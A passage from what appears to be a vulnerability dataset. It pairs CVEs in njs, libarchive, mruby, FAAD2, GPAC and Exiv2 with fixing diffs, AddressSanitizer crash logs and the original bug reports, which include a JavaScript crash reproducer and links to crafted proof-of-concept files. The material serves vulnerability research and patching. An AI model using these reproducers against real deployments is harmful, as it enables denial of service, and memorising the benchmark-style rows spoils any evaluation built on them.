Object.defineProperty(p, "constructor", {get: () => ({}).a.a});
async function g() {
await p;
}
g();
throw 'QQ';
}
f(0);
```
Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==815==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000040 (pc 0x0000004ff20b bp 0x7ffc7abf6030 sp 0x7ffc7abf5880 T0)
==815==The signal is caused by a READ memory access.
==815==Hint: address points to the zero page.
#0 0x4ff20b in njs_scope_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12
#1 0x4ff20b in njs_scope_valid_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:84:13
#2 0x4ff20b in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:155:13
#3 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11
#4 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19
#5 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11
#6 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15
#7 0x7f8dc7694082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee)
#8 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12 in njs_scope_value
==815==ABORTING
```
Credit
dramthy(@topsec alpha)
---
Comment #1 by xeioex:
The patch
```diff
# HG changeset patch
# Parent d63163569c25cb90fe654f0fedefde43553f833a
Fixed njs_vmcode_interpreter() when await fails.
Previously, while interpreting a user function, njs_vmcode_interpreter()
might return prematurely when an error happens in await instruction.
This is not correct because the current frame has to be unwound (or
exception caught) first.
The fix is exit through only 5 appropriate exit points to ensure
proper unwinding.
The patch correctly fixes issue reported in 07ef6c1f04f1 (0.7.3).
This closes #506 issue on Github.
diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c
--- a/src/njs_vmcode.c
+++ b/src/njs_vmcode.c
@@ -858,7 +858,12 @@ next:
njs_vmcode_debug(vm, pc, "EXIT AWAIT");
- return njs_vmcode_await(vm, await, promise_cap, async_ctx);
+ ret = njs_vmcode_await(vm, await, promise_cap, async_ctx);
+ if (njs_slow_path(ret == NJS_ERROR)) {
+ goto error;
+ }
+
+ return ret;
case NJS_VMCODE_TRY_START:
ret = njs_vmcode_try_start(vm, value1, value2, pc);
@@ -1923,6 +1928,7 @@ njs_vmcode_await(njs_vm_t *vm, njs_vmcod
value = njs_scope_valid_value(vm, await->retval);
if (njs_slow_path(value == NULL)) {
+ njs_internal_error(vm, "await->retval is invalid");
return NJS_ERROR;
}
```
---
Comment #2 by dramthy:
Yes, I check the patch is valid for #506,#508,#509,#510,#511,#512,#513,#514,#515,#516,#518,#519,#520,#521,#525,#526,#527,#528. @xeioex | https://nvd.nist.gov/vuln/detail/CVE-2022-34029 |
libarchive.cve-2019-11463 | A memory leak in archive_read_format_zip_cleanup in archive_read_support_format_zip.c in libarchive 3.3.4-dev allows remote attackers to cause a denial of service via a crafted ZIP file because of a HAVE_LZMA_H typo. NOTE: this only affects users who downloaded the development code from GitHub. Users of the product's official releases are unaffected. | https://github.com/libarchive/libarchive/issues/1165 | https://github.com/libarchive/libarchive/commit/ba641f73f3d758d9032b3f0e5597a9c6e593a505 | CWE-401 | libarchive/libarchive | ba641f73f3d758d9032b3f0e5597a9c6e593a505~1 | diff --git a/libarchive/archive_read_support_format_zip.c b/libarchive/archive_read_support_format_zip.c
index 677c437095..6937969c16 100644
--- a/libarchive/archive_read_support_format_zip.c
+++ b/libarchive/archive_read_support_format_zip.c
@@ -2751,7 +2751,7 @@ archive_read_format_zip_cleanup(struct archive_read *a)
inflateEnd(&zip->stream);
#endif
-#if HAVA_LZMA_H && HAVE_LIBLZMA
+#if HAVE_LZMA_H && HAVE_LIBLZMA
if (zip->zipx_lzma_valid) {
lzma_end(&zip->zipx_lzma_stream);
}
| https://github.com/libarchive/libarchive/issues/1165 | ==15753==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 1 object(s) allocated from:
#0 0x7f4c0b1dfb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x7f4c0a85dced (/lib/x86_64-linux-gnu/liblzma.so.5+0x2ced)
Indirect leak of 224 byte(s) in 1 object(s) allocated from:
#0 0x7f4c0b1dfb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x7f4c0a864274 (/lib/x86_64-linux-gnu/liblzma.so.5+0x9274)
SUMMARY: AddressSanitizer: 320 byte(s) leaked in 2 allocation(s). | === https://github.com/libarchive/libarchive/issues/1165 ===
Title: Memory leak when decoding LZMA
---
Body:
I've encountered a memory leak while fuzzing libarchive. A 32-byte reproducer input is attached:
[input.zip](https://github.com/libarchive/libarchive/files/3019394/input.zip). Do not extract this zip file -- it is the fuzzed input itself.
To reproduce, build latest libarchive with ASAN (`clang -fsanitize=address`) and run:
```
$ ./bsdtar -xOf input.zip # bsdtar compiled with ASAN
a: Invalid lzma data
bsdtar: Error exit delayed from previous errors.
=================================================================
==15753==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 1 object(s) allocated from:
#0 0x7f4c0b1dfb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x7f4c0a85dced (/lib/x86_64-linux-gnu/liblzma.so.5+0x2ced)
Indirect leak of 224 byte(s) in 1 object(s) allocated from:
#0 0x7f4c0b1dfb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x7f4c0a864274 (/lib/x86_64-linux-gnu/liblzma.so.5+0x9274)
SUMMARY: AddressSanitizer: 320 byte(s) leaked in 2 allocation(s).
```
Without ASAN, this can also be reproduced using Valgrind:
```
$ valgrind --leak-check=full ./bsdtar -xOf input.zip
a: Invalid lzma data
bsdtar: Error exit delayed from previous errors.
==619==
==619== HEAP SUMMARY:
==619== in use at exit: 396 bytes in 4 blocks
==619== total heap usage: 274 allocs, 270 frees, 342,257 bytes allocated
==619==
==619== 320 (96 direct, 224 indirect) bytes in 1 blocks are definitely lost in loss record 4 of 4
==619== at 0x4C2FB0F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==619== by 0x54BECED: ??? (in /lib/x86_64-linux-gnu/liblzma.so.5.2.2)
==619== by 0x54C52E2: lzma_alone_decoder (in /lib/x86_64-linux-gnu/liblzma.so.5.2.2)
==619== by 0x14EEAC: zipx_lzma_alone_init (archive_read_support_format_zip.c:1455)
==619== by 0x14EEAC: zip_read_data_zipx_lzma_alone (archive_read_support_format_zip.c:1660)
==619== by 0x14EEAC: archive_read_format_zip_read_data (archive_read_support_format_zip.c:2670)
==619== by 0x1219BB: archive_read_data_into_fd (archive_read_data_into_fd.c:101)
==619== by 0x114D70: read_archive (read.c:369)
==619== by 0x1153F6: tar_mode_x (read.c:112)
==619== by 0x113A3F: main (bsdtar.c:880)
==619==
==619== LEAK SUMMARY:
==619== definitely lost: 96 bytes in 1 blocks
==619== indirectly lost: 224 bytes in 1 blocks
==619== possibly lost: 0 bytes in 0 blocks
==619== still reachable: 76 bytes in 2 blocks
==619== suppressed: 0 bytes in 0 blocks
==619== Reachable blocks (those to which a pointer was found) are not shown.
```
---
Comment #1 by jsonn:
Yeah, it's not freeing the decoder on error.
---
Comment #2 by rohanpadhye:
Note that calling `archive_read_free()` does not free this memory. I tried writing my own driver based on the tutorials in the wiki (see [this gist](https://gist.github.com/rohanpadhye/57eb57cd4592f5368d7f24584d4f88f4)), and the leak remains even after calling `archive_read_free()`.
For the test driver in the gist, I see the output:
```
entry name: a
Error reading data: Invalid lzma data
=================================================================
==27645==ERROR: LeakSanitizer: detected memory leaks
...
```
---
Comment #3 by mmatuska:
Thank you there is a ugly preprocessor typo in archive_read_format_zip_cleanup()!
---
Comment #4 by rohanpadhye:
Thanks for the fix! This has been assigned [CVE-2019-11463](https://nvd.nist.gov/vuln/detail/CVE-2019-11463) by MITRE.
---
Comment #5 by mmatuska:
@rohanpadhye This is very interesting because the zipx lzma support code was not released yet, so an affected version doesn't exist.
---
Comment #6 by rohanpadhye:
Oops. This is my bad, since I filed the report. I referenced the release date of v3.3.3 rather than the commit date. I see now that the bug appears only in 3.3.4dev. I'll request to have the CVE record amended at once. | https://nvd.nist.gov/vuln/detail/CVE-2019-11463 | |
mruby.cve-2022-0614 | Use of Out-of-range Pointer Offset in Homebrew mruby prior to 3.2. | https://huntr.dev/bounties/a980ce4d-c359-4425-92c4-e844c0055879 | https://github.com/mruby/mruby/commit/ff3a5ebed6ffbe3e70481531cfb969b497aa73ad, https://huntr.dev/bounties/a980ce4d-c359-4425-92c4-e844c0055879 | CWE-119, CWE-823 | mruby/mruby | ff3a5ebed6ffbe3e70481531cfb969b497aa73ad~1 | diff --git a/src/vm.c b/src/vm.c
index 6133cbccac..9cb50847f2 100644
--- a/src/vm.c
+++ b/src/vm.c
@@ -2766,7 +2766,7 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc)
int lim = a+b*2+1;
hash = regs[a];
- mrb_assert(mrb_hash_p(hash));
+ mrb_ensure_hash_type(mrb, hash);
for (i=a+1; i<lim; i+=2) {
mrb_hash_set(mrb, hash, regs[i], regs[i+1]);
}
| https://nvd.nist.gov/vuln/detail/CVE-2022-0614 | ||||
faad2.cve-2018-20194 | There is a stack-based buffer underflow in the third instance of the calculate_gain function in libfaad/sbr_hfadj.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. A crafted input will lead to a denial of service or possibly unspecified other impact because limiting the additional noise energy level is mishandled for the G_max <= G case. | https://github.com/knik0/faad2/issues/21 | https://github.com/hlef/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3 | CWE-787 | hlef/faad2 | 5d380279cb00ea7a8b24f647f3790a1fc5342731 | diff --git a/libfaad/sbr_hfadj.c b/libfaad/sbr_hfadj.c
index 3f310b81..dda1ce8e 100644
--- a/libfaad/sbr_hfadj.c
+++ b/libfaad/sbr_hfadj.c
@@ -485,6 +485,12 @@ static void calculate_gain(sbr_info *sbr, sbr_hfadj_info *adj, uint8_t ch)
ml1 = sbr->f_table_lim[sbr->bs_limiter_bands][k];
ml2 = sbr->f_table_lim[sbr->bs_limiter_bands][k+1];
+ if (ml1 > MAX_M)
+ ml1 = MAX_M;
+
+ if (ml2 > MAX_M)
+ ml2 = MAX_M;
+
/* calculate the accumulated E_orig and E_curr over the limiter band */
for (m = ml1; m < ml2; m++)
@@ -949,6 +955,12 @@ static void calculate_gain(sbr_info *sbr, sbr_hfadj_info *adj, uint8_t ch)
ml1 = sbr->f_table_lim[sbr->bs_limiter_bands][k];
ml2 = sbr->f_table_lim[sbr->bs_limiter_bands][k+1];
+ if (ml1 > MAX_M)
+ ml1 = MAX_M;
+
+ if (ml2 > MAX_M)
+ ml2 = MAX_M;
+
/* calculate the accumulated E_orig and E_curr over the limiter band */
for (m = ml1; m < ml2; m++)
@@ -1193,6 +1205,12 @@ static void calculate_gain(sbr_info *sbr, sbr_hfadj_info *adj, uint8_t ch)
ml1 = sbr->f_table_lim[sbr->bs_limiter_bands][k];
ml2 = sbr->f_table_lim[sbr->bs_limiter_bands][k+1];
+ if (ml1 > MAX_M)
+ ml1 = MAX_M;
+
+ if (ml2 > MAX_M)
+ ml2 = MAX_M;
+
/* calculate the accumulated E_orig and E_curr over the limiter band */
for (m = ml1; m < ml2; m++)
| https://github.com/knik0/faad2/issues/21, https://seclists.org/bugtraq/2019/Sep/28 | ./faad faad_res/015-stack-buffer-underflow-sbr_hfadj_1314 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/015-stack-buffer-underflow-sbr_hfadj_1314 file info:
ADTS, 0.555 sec, 40 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
=================================================================
==7044==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffccaece094 at pc 0x7f28af4fcf51 bp 0x7ffccaecdc80 sp 0x7ffccaecdc70
WRITE of size 4 at 0x7ffccaece094 thread T0
#0 0x7f28af4fcf50 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1314
#1 0x7f28af4fa392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83
#2 0x7f28af518725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7f28af51a7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#4 0x7f28af4c2b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#5 0x7f28af4cae28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#6 0x7f28af4c9354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#7 0x7f28af4ca2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#8 0x7f28af4849c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7f28af484566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7f28af0bc82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
Address 0x7ffccaece094 is located in stack of thread T0 at offset 20 in frame
#0 0x7f28af4f9d8e in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:60
This frame has 1 object(s):
[32, 2972) 'adj' <== Memory access at offset 20 underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow /root/faad2_asan/libfaad/sbr_hfadj.c:1314 calculate_gain
Shadow bytes around the buggy address:
0x1000195d1bc0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1bd0: 00 00 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2
0x1000195d1be0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1bf0: 00 00 00 00 00 00 00 00 00 00 04 f4 f4 f4 f3 f3
0x1000195d1c00: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000195d1c10: f1 f1[f1]f1 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==7044==ABORTING | === https://github.com/knik0/faad2/issues/21 ===
Title: stack-buffer-underflow in function calculate_gain(libfaad/sbr_hfadj.c:1314)
---
Body:
Hi, i found a stack-buffer-overflow bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8, the details are below(ASAN):
```
./faad faad_res/015-stack-buffer-underflow-sbr_hfadj_1314 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/015-stack-buffer-underflow-sbr_hfadj_1314 file info:
ADTS, 0.555 sec, 40 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
=================================================================
==7044==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffccaece094 at pc 0x7f28af4fcf51 bp 0x7ffccaecdc80 sp 0x7ffccaecdc70
WRITE of size 4 at 0x7ffccaece094 thread T0
#0 0x7f28af4fcf50 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1314
#1 0x7f28af4fa392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83
#2 0x7f28af518725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7f28af51a7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#4 0x7f28af4c2b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#5 0x7f28af4cae28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#6 0x7f28af4c9354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#7 0x7f28af4ca2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#8 0x7f28af4849c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7f28af484566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7f28af0bc82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
Address 0x7ffccaece094 is located in stack of thread T0 at offset 20 in frame
#0 0x7f28af4f9d8e in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:60
This frame has 1 object(s):
[32, 2972) 'adj' <== Memory access at offset 20 underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow /root/faad2_asan/libfaad/sbr_hfadj.c:1314 calculate_gain
Shadow bytes around the buggy address:
0x1000195d1bc0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1bd0: 00 00 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2
0x1000195d1be0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1bf0: 00 00 00 00 00 00 00 00 00 00 04 f4 f4 f4 f3 f3
0x1000195d1c00: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000195d1c10: f1 f1[f1]f1 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000195d1c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==7044==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/015-stack-buffer-underflow-sbr_hfadj_1314
---
Comment #1 by hlef:
The crash happens when accessing Q_M_lim and G_lim arrays at position m > MAX_M.
G_lim contains the limiter to the gain for each QMF channel. The G_lim array has therefore MAX_M elements (= maximum number of QMF channels).
m is obtained from (user passed) f_table_lim, which contains frequency band borders. A frequency band is a group of consecutive QMF channels. Therefore m is a QMF channel number, meaning that the maximum value of m is also MAX_M.
There is no check for m > MAX_M. We should do it, it's user input. Detecting such invalid input and rejecting it should fix this issue.
I'll submit a PR soon.
edit: the algorithm and all variables are defined in ISO/IEC 14496-3:2001. You can find a copy of it [here](https://www.mp3-tech.org/programmer/docs/w4611.pdf). | https://nvd.nist.gov/vuln/detail/CVE-2018-20194 | |
gpac.cve-2023-4721 | Out-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV. | https://huntr.dev/bounties/f457dc62-3cff-47bd-8fd2-1cb2b4a832fc | https://github.com/gpac/gpac/commit/3ec93d73d048ed7b46fe6e9f307cc7a0cc13db63, https://huntr.dev/bounties/f457dc62-3cff-47bd-8fd2-1cb2b4a832fc | CWE-125 | gpac/gpac | 3ec93d73d048ed7b46fe6e9f307cc7a0cc13db63~1 | diff --git a/src/media_tools/mpeg2_ps.c b/src/media_tools/mpeg2_ps.c
index 0af7a31f32..b0182f2249 100644
--- a/src/media_tools/mpeg2_ps.c
+++ b/src/media_tools/mpeg2_ps.c
@@ -266,6 +266,8 @@ int MPEG12_ParseSeqHdr(unsigned char *pbuffer, u32 buflen, s32 *have_mpeg2, u32
u32 scode, ix;
s32 found = -1;
*have_mpeg2 = 0;
+ if (buflen<6) return found;
+
buflen -= 6;
bitrate_int = 0;
for (ix = 0; ix < buflen; ix++, pbuffer++) {
| ASan (inferred) | https://nvd.nist.gov/vuln/detail/CVE-2023-4721 | |||
gpac.cve-2022-3178 | Buffer Over-read in GitHub repository gpac/gpac prior to 2.1.0-DEV. | https://huntr.dev/bounties/f022fc50-3dfd-450a-ab47-3d75d2bf44c0 | https://github.com/gpac/gpac/commit/77510778516803b7f7402d7423c6d6bef50254c3, https://huntr.dev/bounties/f022fc50-3dfd-450a-ab47-3d75d2bf44c0 | CWE-125, CWE-126 | gpac/gpac | 77510778516803b7f7402d7423c6d6bef50254c3~1 | diff --git a/src/isomedia/box_code_base.c b/src/isomedia/box_code_base.c
index 3cf6b3bd38..b7ee3e356e 100644
--- a/src/isomedia/box_code_base.c
+++ b/src/isomedia/box_code_base.c
@@ -12886,11 +12886,12 @@ GF_Err xtra_box_read(GF_Box *s, GF_BitStream *bs)
prop_type = gf_bs_read_u16(bs);
prop_size -= 6;
ISOM_DECREASE_SIZE_NO_ERR(ptr, prop_size)
- //add 2 extra bytes for UTF16 case string dump
- data2 = gf_malloc(sizeof(char) * (prop_size+2));
+ //add 3 extra bytes for UTF16 case string dump (3 because we need 0-aligned short value)
+ data2 = gf_malloc(sizeof(char) * (prop_size+3));
gf_bs_read_data(bs, data2, prop_size);
data2[prop_size] = 0;
data2[prop_size+1] = 0;
+ data2[prop_size+2] = 0;
tag_size-=prop_size;
} else {
prop_size = 0;
| https://nvd.nist.gov/vuln/detail/CVE-2022-3178 | ||||
exiv2.cve-2018-19607 | Exiv2::isoSpeed in easyaccess.cpp in Exiv2 v0.27-RC2 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted file. | https://github.com/Exiv2/exiv2/issues/561 | https://github.com/Exiv2/exiv2/commit/6e42c1b55e0fc4f360cc56010b0ffe19aa6062d9 | CWE-476 | Exiv2/exiv2 | 6e42c1b55e0fc4f360cc56010b0ffe19aa6062d9~1 | diff --git a/src/easyaccess.cpp b/src/easyaccess.cpp
index 1eed30c47e..9302d6cc91 100644
--- a/src/easyaccess.cpp
+++ b/src/easyaccess.cpp
@@ -154,7 +154,7 @@ namespace Exiv2 {
std::ostringstream os;
md_st->write(os, &ed);
bool ok = false;
- long st_val = parseLong(os.str(), ok);
+ const long st_val = parseLong(os.str(), ok);
// SensivityType out of range or cannot be parsed properly
if (!ok || st_val < 1 || st_val > 7)
break;
@@ -175,7 +175,7 @@ namespace Exiv2 {
md = md_st;
break;
}
- while (strcmp(sensKeys->keys[idx++], md_st->key().c_str()) != 0 && idx < cnt) {}
+ while (strcmp(sensKeys->keys[idx++], md_st->key().c_str()) != 0 && idx < sensKeys->count) {}
}
break;
}
| https://github.com/Exiv2/exiv2/issues/561 | ==91500==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f186e2da05a bp 0x7fff4e8fe260 sp 0x7fff4e8fd9f0 T0)
#0 0x7f186e2da059 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x47059)
#1 0x7f186db38b0c in Exiv2::isoSpeed(Exiv2::ExifData const&) /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/easyaccess.cpp:178
#2 0x42f9fd in Action::Print::printTag(Exiv2::ExifData const&, std::_List_const_iterator<Exiv2::Exifdatum> (*)(Exiv2::ExifData const&), std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) const /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:500
#3 0x42d6c2 in Action::Print::printSummary() /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:387
#4 0x42b9db in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:246
#5 0x4139a6 in main /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/exiv2.cpp:169
#6 0x7f186cf9a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#7 0x413308 in _start (/home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/build_asan/bin/exiv2+0x413308)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ?? | === https://github.com/Exiv2/exiv2/issues/561 ===
Title: CVE-2018-19607: SEGV in Exiv2::isoSpeed at easyaccess.cpp:178
---
Body:
Tested in ubuntu 16.04 64bit, exiv2 (master 3f2e0de && 0.27-RC2)
`$ exiv2 $POC`
[POC file](https://github.com/Marsman1996/pocs/blob/master/exiv2/CVE-2018-19607/poc9-isoSpeed)
gdb info:
```
Program received signal SIGSEGV, Segmentation fault.
__strcmp_sse2_unaligned ()
at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
31 ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory.
(gdb) bt
#0 __strcmp_sse2_unaligned ()
at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
#1 0x00007ffff794b9ff in Exiv2::isoSpeed (ed=...)
at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/easyaccess.cpp:178
#2 0x0000000000425aef in Action::Print::printTag (this=0x65dde0,
exifData=...,
easyAccessFct=0x412390 <Exiv2::isoSpeed(Exiv2::ExifData const&)@plt>,
label="ISO speed")
at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:500
#3 0x0000000000424038 in Action::Print::printSummary (this=0x65dde0)
at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:387
#4 0x0000000000422901 in Action::Print::run (this=0x65dde0,
path="/home/marsman/Desktop/poc9-isoSpeed")
at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:246
#5 0x0000000000412e39 in main (argc=2, argv=0x7fffffffdda8)
at /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/exiv2.cpp:169
```
ASAN info:
```
==91500==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f186e2da05a bp 0x7fff4e8fe260 sp 0x7fff4e8fd9f0 T0)
#0 0x7f186e2da059 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x47059)
#1 0x7f186db38b0c in Exiv2::isoSpeed(Exiv2::ExifData const&) /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/easyaccess.cpp:178
#2 0x42f9fd in Action::Print::printTag(Exiv2::ExifData const&, std::_List_const_iterator<Exiv2::Exifdatum> (*)(Exiv2::ExifData const&), std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) const /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:500
#3 0x42d6c2 in Action::Print::printSummary() /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:387
#4 0x42b9db in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/actions.cpp:246
#5 0x4139a6 in main /home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/src/exiv2.cpp:169
#6 0x7f186cf9a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
